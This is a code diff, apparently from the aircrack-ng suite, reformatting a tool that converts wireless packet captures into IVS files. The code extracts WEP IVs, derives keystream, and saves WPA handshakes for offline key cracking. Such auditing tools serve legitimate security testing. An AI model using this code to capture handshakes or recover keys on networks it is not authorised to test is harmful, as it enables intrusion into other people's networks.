+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+					return ESSID;
+				}
+
+				for (i = 0; i < n; i++)
+					if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
+						|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
+						ap_cur->essid[i] = '.';
+			}
+
+			p += 2 + p[1];
+		}
+	}
 
-    while( st_cur != NULL )
-    {
-        if( ! memcmp( st_cur->stmac, stmac, 6 ) )
-            break;
+	/* packet parsing: Association Request */
 
-        st_prv = st_cur;
-        st_cur = st_cur->next;
-    }
+	if (h80211[0] == 0x00 && caplen > 28)
+	{
+		p = h80211 + 28;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+
+				n = (p[1] > 32) ? 32 : p[1];
+
+				memset(ap_cur->essid, 0, 33);
+				memcpy(ap_cur->essid, p + 2, n);
+
+				if (G.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+					return ESSID;
+				}
+
+				for (i = 0; i < n; i++)
+					if (ap_cur->essid[i] < 32
+						|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
+						ap_cur->essid[i] = '.';
+			}
+
+			p += 2 + p[1];
+		}
+	}
 
-    /* if it's a new client, add it */
+	/* packet parsing: some data */
 
-    if( st_cur == NULL )
-    {
-        if( ! ( st_cur = (struct ST_info *) malloc(
-                sizeof( struct ST_info ) ) ) )
-        {
-            perror( "malloc failed" );
-            return FAILURE;
-        }
+	if ((h80211[0] & 0x0C) == 0x08)
+	{
+		/* check the SNAP header to see if data is encrypted */
 
-        memset( st_cur, 0, sizeof( struct ST_info ) );
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
 
-        if( G.st_1st == NULL )
-            G.st_1st = st_cur;
-        else
-            st_prv->next  = st_cur;
+		if (z + 26 > caplen) return FAILURE;
 
-        memcpy( st_cur->stmac, stmac, 6 );
+		if (z + 10 > caplen) return FAILURE;
 
-        st_cur->prev = st_prv;
+		// check if WEP bit set and extended iv
+		if ((h80211[1] & 0x40) != 0 && (h80211[z + 3] & 0x20) == 0)
+		{
+			/* WEP: check if we've already seen this IV */
+
+			if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
+			{
+				/* first time seen IVs */
+
+				if (G.f_ivs != NULL)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags = 0;
+					ivs2.len = 0;
+
+					dlen = caplen - 24 - 4 - 4; // original data len
+					if (dlen > 2048) dlen = 2048;
+					// get cleartext + len + 4(iv+idx)
+					num_xor = known_clear(clear, &clen, weight, h80211, dlen);
+					if (num_xor == 1)
+					{
+						ivs2.flags |= IVS2_XOR;
+						ivs2.len += clen + 4;
+						/* reveal keystream (plain^encrypted) */
+						for (n = 0; n < (ivs2.len - 4); n++)
+						{
+							clear[n] = (clear[n] ^ h80211[z + 4 + n]) & 0xFF;
+						}
+						// clear is now the keystream
+					}
+					else
+					{
+						// do it again to get it 2 bytes higher
+						num_xor = known_clear(
+							clear + 2, &clen, weight, h80211, dlen);
+						ivs2.flags |= IVS2_PTW;
+						// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
+						// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
+						ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
+						clear[0] = num_xor;
+						clear[1] = clen;
+						/* reveal keystream (plain^encrypted) */
+						for (o = 0; o < num_xor; o++)
+						{
+							for (n = 0; n < (ivs2.len - 4); n++)
+							{
+								clear[2 + n + o * 32] = (clear[2 + n + o * 32]
+														 ^ h80211[z + 4 + n])
+														& 0xFF;
+							}
+						}
+						memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
+							   weight,
+							   16 * sizeof(int));
+						// clear is now the keystream
+					}
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+						ivs2.len -= 6;
+					}
+
+					if (fwrite(h80211 + z, 1, 4, G.f_ivs) != (size_t) 4)
+					{
+						perror("fwrite(IV iv+idx) failed");
+						return (1);
+					}
+					ivs2.len -= 4;
+
+					if (fwrite(clear, 1, ivs2.len, G.f_ivs)
+						!= (size_t) ivs2.len)
+					{
+						perror("fwrite(IV keystream) failed");
+						return (1);
+					}
+				}
+
+				uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
+				return IVS;
+			}
+		}
 
-        G.st_end = st_cur;
-    }
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
 
-    if( st_cur->base == NULL ||
-        memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 )
-        st_cur->base = ap_cur;
+		if (z + 26 > caplen) return FAILURE;
 
-skip_station:
+		z += 6; // skip LLC header
 
-        /* packet parsing: Beacon or Probe Response */
-
-        if( h80211[0] == 0x80 || h80211[0] == 0x50 )
-        {
-            p = h80211 + 36;
-
-            while( p < h80211 + caplen )
-            {
-                if( p + 2 + p[1] > h80211 + caplen )
-                    break;
-
-                if( p[0] == 0x00 ) ap_cur->ssid_length = p[1];
-
-                if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' &&
-                    ( p[1] > 1 || p[2] != ' ' ) )
-                {
-                    /* found a non-cloaked ESSID */
-
-//                n = ( p[1] > 32 ) ? 32 : p[1];
-                    n = p[1];
-
-                    memset( ap_cur->essid, 0, 256 );
-                    memcpy( ap_cur->essid, p + 2, n );
-
-                    if( G.f_ivs != NULL && !ap_cur->essid_stored )
-                    {
-                        memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                        ivs2.flags |= IVS2_ESSID;
-                        ivs2.len += ap_cur->ssid_length;
-
-                        if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                        {
-                            ivs2.flags |= IVS2_BSSID;
-                            ivs2.len += 6;
-                            memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                        }
-
-                        /* write header */
-                        if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                            != (size_t) sizeof(struct ivs2_pkthdr) )
-                        {
-                            perror( "fwrite(IV header) failed" );
-                            return( 1 );
-                        }
-
-                        /* write BSSID */
-                        if(ivs2.flags & IVS2_BSSID)
-                        {
-                            if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs )
-                                != (size_t) 6 )
-                            {
-                                perror( "fwrite(IV bssid) failed" );
-                                return( 1 );
-                            }
-                        }
-
-                        /* write essid */
-                        if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs )
-                            != (size_t) ap_cur->ssid_length )
-                        {
-                            perror( "fwrite(IV essid) failed" );
-                            return( 1 );
-                        }
-
-                        ap_cur->essid_stored = 1;
-                        return ESSID;
-                    }
-
-                    for( i = 0; i < n; i++ )
-                        if( ( ap_cur->essid[i] >   0 && ap_cur->essid[i] <  32 ) ||
-                              ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) )
-                            ap_cur->essid[i] = '.';
-                }
-
-                p += 2 + p[1];
-            }
-        }
-
-        /* packet parsing: Association Request */
-
-        if( h80211[0] == 0x00 && caplen > 28 )
-        {
-            p = h80211 + 28;
-
-            while( p < h80211 + caplen )
-            {
-                if( p + 2 + p[1] > h80211 + caplen )
-                    break;
-
-                if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' &&
-                    ( p[1] > 1 || p[2] != ' ' ) )
-                {
-                    /* found a non-cloaked ESSID */
-
-                    n = ( p[1] > 32 ) ? 32 : p[1];
-
-                    memset( ap_cur->essid, 0, 33 );
-                    memcpy( ap_cur->essid, p + 2, n );
-
-                    if( G.f_ivs != NULL && !ap_cur->essid_stored )
-                    {
-                        memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                        ivs2.flags |= IVS2_ESSID;
-                        ivs2.len += ap_cur->ssid_length;
-
-                        if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                        {
-                            ivs2.flags |= IVS2_BSSID;
-                            ivs2.len += 6;
-                            memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                        }
-
-                        /* write header */
-                        if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                            != (size_t) sizeof(struct ivs2_pkthdr) )
-                        {
-                            perror( "fwrite(IV header) failed" );
-                            return( 1 );
-                        }
-
-                        /* write BSSID */
-                        if(ivs2.flags & IVS2_BSSID)
-                        {
-                            if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs )
-                                != (size_t) 6 )
-                            {
-                                perror( "fwrite(IV bssid) failed" );
-                                return( 1 );
-                            }
-                        }
-
-                        /* write essid */
-                        if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs )
-                            != (size_t) ap_cur->ssid_length )
-                        {
-                            perror( "fwrite(IV essid) failed" );
-                            return( 1 );
-                        }
-
-                        ap_cur->essid_stored = 1;
-                        return ESSID;
-                    }
-
-                    for( i = 0; i < n; i++ )
-                        if( ap_cur->essid[i] < 32 ||
-                            ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) )
-                            ap_cur->essid[i] = '.';
-                }
-
-                p += 2 + p[1];
-            }
-        }
-
-        /* packet parsing: some data */
-
-        if( ( h80211[0] & 0x0C ) == 0x08 )
-        {
-            /* check the SNAP header to see if data is encrypted */
-
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-
-            if( z + 26 > caplen )
-                return FAILURE;
-
-            if( z + 10 > caplen )
-                return FAILURE;
-
-             //check if WEP bit set and extended iv
-            if( (h80211[1] & 0x40) != 0 && (h80211[z+3] & 0x20) == 0  )
-            {
-                /* WEP: check if we've already seen this IV */
-
-                if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) )
-                {
-                    /* first time seen IVs */
-
-                    if( G.f_ivs != NULL )
-                    {
-                        memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                        ivs2.flags = 0;
-                        ivs2.len = 0;
-
-                        dlen = caplen -24 -4 -4; //original data len
-                        if(dlen > 2048) dlen = 2048;
-                        //get cleartext + len + 4(iv+idx)
-                        num_xor = known_clear(clear, &clen, weight, h80211, dlen);
-                        if(num_xor == 1)
-                        {
-                            ivs2.flags |= IVS2_XOR;
-                            ivs2.len += clen + 4;
-                            /* reveal keystream (plain^encrypted) */
-                            for(n=0; n<(ivs2.len-4); n++)
-                            {
-                                clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF;
-                            }
-                            //clear is now the keystream
-                        }
-                        else
-                        {
-                            //do it again to get it 2 bytes higher
-                            num_xor = known_clear(clear+2, &clen, weight, h80211, dlen);
-                            ivs2.flags |= IVS2_PTW;
-                            //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
-                            ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int);
-                            clear[0] = num_xor;
-                            clear[1] = clen;
-                            /* reveal keystream (plain^encrypted) */
-                            for(o=0; o<num_xor; o++)
-                            {
-                                for(n=0; n<(ivs2.len-4); n++)
-                                {
-                                    clear[2+n+o*32] = (clear[2+n+o*32] ^ h80211[z+4+n]) & 0xFF;
-                                }
-                            }
-                            memcpy(clear+4 + 1 + 1 + 32*num_xor, weight, 16*sizeof(int));
-                            //clear is now the keystream
-                        }
-
-                        if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                        {
-                            ivs2.flags |= IVS2_BSSID;
-                            ivs2.len += 6;
-                            memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                        }
-
-                        if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                            != (size_t) sizeof(struct ivs2_pkthdr) )
-                        {
-                            perror( "fwrite(IV header) failed" );
-                            return( 1 );
-                        }
-
-                        if( ivs2.flags & IVS2_BSSID )
-                        {
-                            if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 )
-                            {
-                                perror( "fwrite(IV bssid) failed" );
-                                return( 1 );
-                            }
-                            ivs2.len -= 6;
-                        }
-
-                        if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 )
-                        {
-                            perror( "fwrite(IV iv+idx) failed" );
-                            return( 1 );
-                        }
-                        ivs2.len -= 4;
-
-                        if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len )
-                        {
-                            perror( "fwrite(IV keystream) failed" );
-                            return( 1 );
-                        }
-                    }
-
-                    uniqueiv_mark( ap_cur->uiv_root, &h80211[z] );
-                    return IVS;
-                }
-            }
-
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-
-            if( z + 26 > caplen )
-                return FAILURE;
-
-            z += 6;     //skip LLC header
-
-            /* check ethertype == EAPOL */
-            if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 )
-            {
-                z += 2;     //skip ethertype
-
-                if( st_cur == NULL )
-                    return FAILURE;
-
-                /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-                if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                      ( h80211[z + 6] & 0x40 ) == 0 &&
-                      ( h80211[z + 6] & 0x80 ) != 0 &&
-                      ( h80211[z + 5] & 0x01 ) == 0 )
-                {
-                    memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-                    st_cur->wpa.state = 1;
-                }
-
-
-                /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-                if( z+17+32 > caplen )
-                    return FAILURE;
-
-                if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                      ( h80211[z + 6] & 0x40 ) == 0 &&
-                      ( h80211[z + 6] & 0x80 ) == 0 &&
-                      ( h80211[z + 5] & 0x01 ) != 0 )
-                {
-                    if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-                    {
-                        memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
-                        st_cur->wpa.state |= 2;
-
-                    }
-                }
-
-                /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-                if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                      ( h80211[z + 6] & 0x40 ) != 0 &&
-                      ( h80211[z + 6] & 0x80 ) != 0 &&
-                      ( h80211[z + 5] & 0x01 ) != 0 )
-                {
-                    st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-                            +   h80211[z + 3] + 4;
-
-                    if (st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol_size) ||
-                        caplen - z < st_cur->wpa.eapol_size) {
-                        // ignore packet trying to crash us
-                        st_cur->wpa.eapol_size = 0;
-                        return 0;
-                    }
-
-                    if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-                    {
-                        memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-                        st_cur->wpa.state |= 4;
-                    }
-
-                    memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-                    memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-                    memset( st_cur->wpa.eapol + 81, 0, 16 );
-                    st_cur->wpa.state |= 8;
-                    st_cur->wpa.keyver = h80211[z + 6] & 7;
-
-                    if( st_cur->wpa.state == 15)
-                    {
-                        memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 );
-
-                        if( G.f_ivs != NULL )
-                        {
-                            memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                            ivs2.flags = 0;
-                            ivs2.len = 0;
-
-                            ivs2.len= sizeof(struct WPA_hdsk);
-                            ivs2.flags |= IVS2_WPA;
-
-                            if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                            {
-                                ivs2.flags |= IVS2_BSSID;
-                                ivs2.len += 6;
-                                memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                            }
-
-                            if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                                != (size_t) sizeof(struct ivs2_pkthdr) )
-                            {
-                                perror( "fwrite(IV header) failed" );
-                                return( 1 );
-                            }
-
-                            if( ivs2.flags & IVS2_BSSID )
-                            {
-                                if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 )
-                                {
-                                    perror( "fwrite(IV bssid) failed" );
-                                    return( 1 );
-                                }
-                                ivs2.len -= 6;
-                            }
-
-                            if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) )
-                            {
-                                perror( "fwrite(IV wpa_hdsk) failed" );
-                                return( 1 );
-                            }
-                            return WPA;
-                        }
-                    }
-                }
-            }
-        }
-
-        return( 0 );
+		/* check ethertype == EAPOL */
+		if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
+			&& (h80211[1] & 0x40) != 0x40)
+		{
+			z += 2; // skip ethertype
+
+			if (st_cur == NULL) return FAILURE;
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) == 0)
+			{
+				memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+				st_cur->wpa.state = 1;
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if (z + 17 + 32 > caplen) return FAILURE;
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) == 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 2;
+				}
+			}
+
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				st_cur->wpa.eapol_size
+					= (h80211[z + 2] << 8) + h80211[z + 3] + 4;
+
+				if (st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol_size)
+					|| caplen - z < st_cur->wpa.eapol_size)
+				{
+					// ignore packet trying to crash us
+					st_cur->wpa.eapol_size = 0;
+					return 0;
+				}
+
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 4;
+				}
+
+				memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+				memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+				memset(st_cur->wpa.eapol + 81, 0, 16);
+				st_cur->wpa.state |= 8;
+				st_cur->wpa.keyver = h80211[z + 6] & 7;
+
+				if (st_cur->wpa.state == 15)
+				{
+					memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+
+					if (G.f_ivs != NULL)
+					{
+						memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+						ivs2.flags = 0;
+						ivs2.len = 0;
+
+						ivs2.len = sizeof(struct WPA_hdsk);
+						ivs2.flags |= IVS2_WPA;
+
+						if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+						{
+							ivs2.flags |= IVS2_BSSID;
+							ivs2.len += 6;
+							memcpy(G.prev_bssid, ap_cur->bssid, 6);
+						}
+
+						if (fwrite(
+								&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+							!= (size_t) sizeof(struct ivs2_pkthdr))
+						{
+							perror("fwrite(IV header) failed");
+							return (1);
+						}
+
+						if (ivs2.flags & IVS2_BSSID)
+						{
+							if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs)
+								!= (size_t) 6)
+							{
+								perror("fwrite(IV bssid) failed");
+								return (1);
+							}
+							ivs2.len -= 6;
+						}
+
+						if (fwrite(&(st_cur->wpa),
+								   1,
+								   sizeof(struct WPA_hdsk),
+								   G.f_ivs)
+							!= (size_t) sizeof(struct WPA_hdsk))
+						{
+							perror("fwrite(IV wpa_hdsk) failed");
+							return (1);
+						}
+						return WPA;
+					}
+				}
+			}
+		}
+	}
+
+	return (0);
 }
 
-int main( int argc, char *argv[] )
+int main(int argc, char * argv[])
 {
-    time_t tt;
-    int n, unused, ret;
-    FILE *f_in;
-    unsigned long nbr;
-    unsigned long nbivs;
-    unsigned char *h80211;
-    unsigned char bssid_cur[6];
-    unsigned char bssid_prv[6];
-    unsigned char buffer[65536];
-    struct pcap_file_header pfh;
-    struct pcap_pkthdr pkh;
-    struct ivs2_filehdr fivs2;
-
-    if( argc < 4 )
-    {
-        usage(0);
-        return( 1 );
-    }
-
-    if (strcmp(argv[1],"--merge")==0) {
-        return merge(argc,argv);
-    }
-    if (strcmp(argv[1],"--convert")) {
-        usage(1);
-        return( 1 );
-    }
-
-    memset( bssid_cur, 0, 6 );
-    memset( bssid_prv, 0, 6 );
-
-    /* check the input pcap file */
-
-    printf( "Opening %s\n", argv[2] );
-
-    if( ( f_in = fopen( argv[2], "rb" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
-
-    n = sizeof( pfh );
-
-    if( fread( &pfh, 1, n, f_in ) != (size_t) n )
-    {
-        perror( "fread(pcap file header) failed" );
-        return( 1 );
-    }
-
-    if( pfh.magic != TCPDUMP_MAGIC &&
-        pfh.magic != TCPDUMP_CIGAM )
-    {
-        printf( "\"%s\" isn't a pcap file (expected "
-                "TCPDUMP_MAGIC).\n", argv[2] );
-        return( 1 );
-    }
-
-    if( pfh.magic == TCPDUMP_CIGAM )
-        SWAP32( pfh.linktype );
-
-    if( pfh.linktype != LINKTYPE_IEEE802_11 &&
-        pfh.linktype != LINKTYPE_PRISM_HEADER &&
-        pfh.linktype != LINKTYPE_RADIOTAP_HDR &&
-		pfh.linktype != LINKTYPE_PPI_HDR )
-    {
-        printf( "\"%s\" isn't a regular 802.11 "
-                "(wireless) capture.\n", argv[2] );
-        return( 1 );
-    }
-
-    /* create the output ivs file */
-
-    printf( "Creating %s\n", argv[3] );
-
-    if( ( G.f_ivs = fopen( argv[3], "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
-
-    fivs2.version = IVS2_VERSION;
-
-    unused = fwrite( IVS2_MAGIC, 4, 1, G.f_ivs );
-    unused = fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs );
-
-    nbr = 0;
-    tt = time( NULL ) - 1;
-
-    nbivs = 0;
-
-    while( 1 )
-    {
-        if( time( NULL ) - tt > 0 )
-        {
-            printf( "\33[KRead %ld packets...\r", nbr );
-            fflush( stdout );
-            tt = time( NULL );
-        }
-
-        /* read one packet */
-
-        n = sizeof( pkh );
-
-        if( fread( &pkh, 1, n, f_in ) != (size_t) n )
-            break;
-
-        if( pfh.magic == TCPDUMP_CIGAM ) {
-            SWAP32( pkh.caplen );
-            SWAP32( pkh.len );
-        }
+	time_t tt;
+	int n, unused, ret;
+	FILE * f_in;
+	unsigned long nbr;
+	unsigned long nbivs;
+	unsigned char * h80211;
+	unsigned char bssid_cur[6];
+	unsigned char bssid_prv[6];
+	unsigned char buffer[65536];
+	struct pcap_file_header pfh;
+	struct pcap_pkthdr pkh;
+	struct ivs2_filehdr fivs2;
+
+	if (argc < 4)
+	{
+		usage(0);
+		return (1);
+	}
+
+	if (strcmp(argv[1], "--merge") == 0)
+	{
+		return merge(argc, argv);
+	}
+	if (strcmp(argv[1], "--convert"))
+	{
+		usage(1);
+		return (1);
+	}
+
+	// Check filenames are not empty
+	if (argv[2][0] == 0)
+	{
+		printf("Invalid pcap file\n");
+		return (1);
+	}
+
+	if (argv[3][0] == 0)
+	{
+		printf("Invalid output file\n");
+		return (1);
+	}
+
+	memset(bssid_cur, 0, 6);
+	memset(bssid_prv, 0, 6);
+
+	/* check the input pcap file */
+
+	printf("Opening %s\n", argv[2]);
+
+	if ((f_in = fopen(argv[2], "rb")) == NULL)
+	{
+		perror("fopen failed");
+		return (1);
+	}
+
+	n = sizeof(pfh);
+
+	if (fread(&pfh, 1, n, f_in) != (size_t) n)
+	{
+		perror("fread(pcap file header) failed");
+		fclose(f_in);
+		return (1);
+	}
+
+	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
+	{
+		printf("\"%s\" isn't a pcap file (expected "
+			   "TCPDUMP_MAGIC).\n",
+			   argv[2]);
+		fclose(f_in);
+		return (1);
+	}
+
+	if (pfh.magic == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
+
+	if (pfh.linktype != LINKTYPE_IEEE802_11
+		&& pfh.linktype != LINKTYPE_PRISM_HEADER
+		&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
+		&& pfh.linktype != LINKTYPE_PPI_HDR)
+	{
+		printf("\"%s\" isn't a regular 802.11 "
+			   "(wireless) capture.\n",
+			   argv[2]);
+		fclose(f_in);
+		return (1);
+	}
+
+	/* create the output ivs file */
+
+	printf("Creating %s\n", argv[3]);
+
+	if ((G.f_ivs = fopen(argv[3], "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		fclose(f_in);
+		return (1);
+	}
+
+	fivs2.version = IVS2_VERSION;
+
+	unused = fwrite(IVS2_MAGIC, 4, 1, G.f_ivs);
+	unused = fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs);
+
+	nbr = 0;
+	tt = time(NULL) - 1;
+
+	nbivs = 0;
+
+	while (1)
+	{
+		if (time(NULL) - tt > 0)
+		{
+			erase_line(0);
+			printf("Read %lu packets...\r", nbr);
+			fflush(stdout);
+			tt = time(NULL);
+		}
 
-        n = pkh.caplen;
+		/* read one packet */
 
-        if( n <= 0 || n > 65535 )
-        {
-            printf( "Corrupted file? Invalid packet length: %d.\n", n );
-            return( 1 );
-        }
+		n = sizeof(pkh);
 
-        if( fread( buffer, 1, n, f_in ) != (size_t) n )
-            break;
+		if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
 
-        ++nbr;
+		if (pfh.magic == TCPDUMP_CIGAM)
+		{
+			SWAP32(pkh.caplen);
+			SWAP32(pkh.len);
+		}
 
-        h80211 = buffer;
+		n = pkh.caplen;
 
-        /* remove any prism/radiotap header */
+		if (n <= 0 || n > 65535)
+		{
+			printf("Corrupted file? Invalid packet length: %d.\n", n);
+			return (1);
+		}
 
-        if( pfh.linktype == LINKTYPE_PRISM_HEADER )
-        {
-            if( h80211[7] == 0x40 )
-                n = 64;
-            else
-            {
-                n = *(int *)( h80211 + 4 );
+		if (fread(buffer, 1, n, f_in) != (size_t) n) break;
 
-                if( pfh.magic == TCPDUMP_CIGAM )
-                    SWAP32( n );
-            }
+		++nbr;
 
-            if( n < 8 || n >= (int) pkh.caplen )
-                continue;
+		h80211 = buffer;
 
-            h80211 += n; pkh.caplen -= n;
-        }
+		/* remove any prism/radiotap header */
 
-        if( pfh.linktype == LINKTYPE_RADIOTAP_HDR )
-        {
-            n = *(unsigned short *)( h80211 + 2 );
+		if (pfh.linktype == LINKTYPE_PRISM_HEADER)
+		{
+			if (h80211[7] == 0x40)
+				n = 64;
+			else
+			{
+				n = *(int *) (h80211 + 4);
+
+				if (pfh.magic == TCPDUMP_CIGAM) SWAP32(n);
+			}
+
+			if (n < 8 || n >= (int) pkh.caplen) continue;
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			n = *(unsigned short *) (h80211 + 2);
 
